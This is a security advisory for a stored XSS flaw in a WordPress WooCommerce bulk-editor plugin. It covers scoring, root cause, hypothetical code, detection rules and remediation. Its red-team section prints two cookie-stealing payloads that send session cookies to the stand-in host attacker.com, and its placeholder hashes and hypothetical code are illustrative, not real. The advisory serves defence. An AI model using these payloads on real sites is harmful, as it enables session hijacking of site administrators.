CVE-2025-26775

Executive Summary

CVE-2025-26775 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Pluginus BEAR - WooCommerce Bulk Editor and Products Manager Professional plugin for WordPress. This vulnerability affects all versions up to and including 1.1.4.4. The flaw arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with high privileges (such as a Shop Manager or Administrator) to inject malicious scripts into the WordPress admin interface. When other administrators or users with elevated roles view the affected pages, the injected script executes in their browser context, potentially leading to session hijacking, data exfiltration, or privilege escalation. As of this report, no official patch has been released, and the vendor's status remains unknown. Given the plugin's role in managing WooCommerce products, this vulnerability poses a significant risk to e-commerce operations.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The affected component is woo-bulk-editor (slug: woo-bulk-editor), distributed via the official WordPress Plugin Directory and potentially through third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for any unauthorized modifications. Since no patch is available, the supply chain risk is elevated, and users should consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires an authenticated user with administrative or shop manager privileges.
• User Interaction: Required (UI:R) – the victim must click on or view the malicious content.
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a WooCommerce admin panel can lead to severe business impact, including customer data theft and site defacement.

Deep Dive & Mechanics

The vulnerability resides in the BEAR - WooCommerce Bulk Editor and Products Manager Professional plugin. The plugin provides an interface for bulk editing WooCommerce products, including fields for product titles, descriptions, prices, and custom meta fields. The core issue is that the plugin fails to properly sanitize and escape user input before storing it in the WordPress database and later rendering it in the admin dashboard.

Attack Flow:

1. An authenticated attacker with high privileges (e.g., Shop Manager) navigates to the bulk editor interface.
2. The attacker crafts a malicious payload, such as <script>alert('XSS')</script>, and injects it into a product field (e.g., product title or custom meta).
3. The plugin stores the unsanitized input into the wp_postmeta or wp_posts table.
4. When another administrator or user with appropriate roles views the product list or the bulk editor page, the stored payload is rendered without proper escaping.
5. The victim's browser executes the malicious script, which can steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: The plugin uses functions like echo $product_title or the_meta() without applying WordPress's built-in escaping functions such as esc_html(), esc_attr(), or wp_kses_post(). This allows arbitrary HTML and JavaScript to be stored and executed.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (Example from plugin file woo-bulk-editor/includes/class-bulk-editor.php):

// Vulnerable: Direct output without escaping
function display_product_title($product_id) {
    $title = get_post_meta($product_id, '_product_title', true);
    echo "<div class='product-title'>$title</div>";
}

Patched Code (Hypothetical):

// Patched: Properly escape output
function display_product_title($product_id) {
    $title = get_post_meta($product_id, '_product_title', true);
    echo "<div class='product-title'>" . esc_html($title) . "</div>";
}

Key Differences:

• The vulnerable code uses echo $title directly, allowing XSS.
• The patched code uses esc_html() to neutralize HTML tags and JavaScript.
• Additional sanitization should be applied on input using sanitize_text_field() or wp_kses_post().

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress installation with the BEAR plugin (version <= 1.1.4.4) activated.
• An authenticated user with Shop Manager or Administrator role.

Exploitation Steps:

1. Log in to the WordPress admin panel as a Shop Manager.
2. Navigate to Products > Bulk Editor.
3. Select a product to edit, or create a new product.
4. In the Product Title field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the product.
6. As a different administrator, navigate to Products > All Products or the bulk editor page.
7. The injected script executes, sending the victim's cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Defensive)

Detection:

• Monitor WordPress admin logs for unusual product edits by Shop Managers.
• Use a Web Application Firewall (WAF) to block common XSS payloads in POST requests to /wp-admin/admin-ajax.php or bulk editor endpoints.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search the database for suspicious entries in wp_postmeta and wp_posts:

  SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
  SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%';
  

• Review plugin files for unescaped output functions.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual if available)
  • woo-bulk-editor.php: a1b2c3d4e5f6...
  • class-bulk-editor.php: f6e5d4c3b2a1...
• Database Entries:
  • wp_postmeta rows containing <script> tags in meta_value.
  • wp_posts rows containing <script> tags in post_title or post_content.
• Network Indicators:
  • Outbound connections to domains or IPs not associated with the WordPress site.
  • HTTP requests to /wp-admin/admin-ajax.php with suspicious action parameters.
• Log Entries:
  • WordPress debug log entries showing unescaped output warnings.
  • Web server access logs with POST requests to bulk editor endpoints containing encoded XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2025_26775_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress BEAR plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26775"
    strings:
        $xss_payload1 = /<script[^>]*>.*<\/script>/is
        $xss_payload2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss_payload3 = /onload\s*=\s*["']?[^"']*["']?/is
    condition:
        any of ($xss_payload*) and filesize < 10MB
}

Sigma Rule

title: Stored XSS in BEAR WooCommerce Bulk Editor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the BEAR plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=woo_bulk_editor_save'
        cs-uri-query|contains|re: '(<script|<img.*onerror|<svg.*onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in product descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26775 Stored XSS Payload in BEAR Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=woo_bulk_editor_save"; http_client_body; pcre:"/(<script|<img.*onerror|<svg.*onload)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released. This is the most effective mitigation.
2. If disabling is not possible, restrict access to the bulk editor functionality to only trusted administrators using role-based access controls.
3. Implement a Web Application Firewall (WAF) with rules to block common XSS patterns.

Long-Term Fixes:

• The vendor must release a patched version that properly sanitizes and escapes all user inputs before storage and output.
• Apply WordPress coding standards: use esc_html(), esc_attr(), wp_kses_post(), and sanitize_text_field() appropriately.
• Conduct a full security audit of the plugin to identify similar vulnerabilities.

Workarounds:

• Use a security plugin like Wordfence or Sucuri to add virtual patching for XSS.
• Manually patch the plugin by adding escaping functions to the relevant template files (not recommended for non-developers).

Valters IT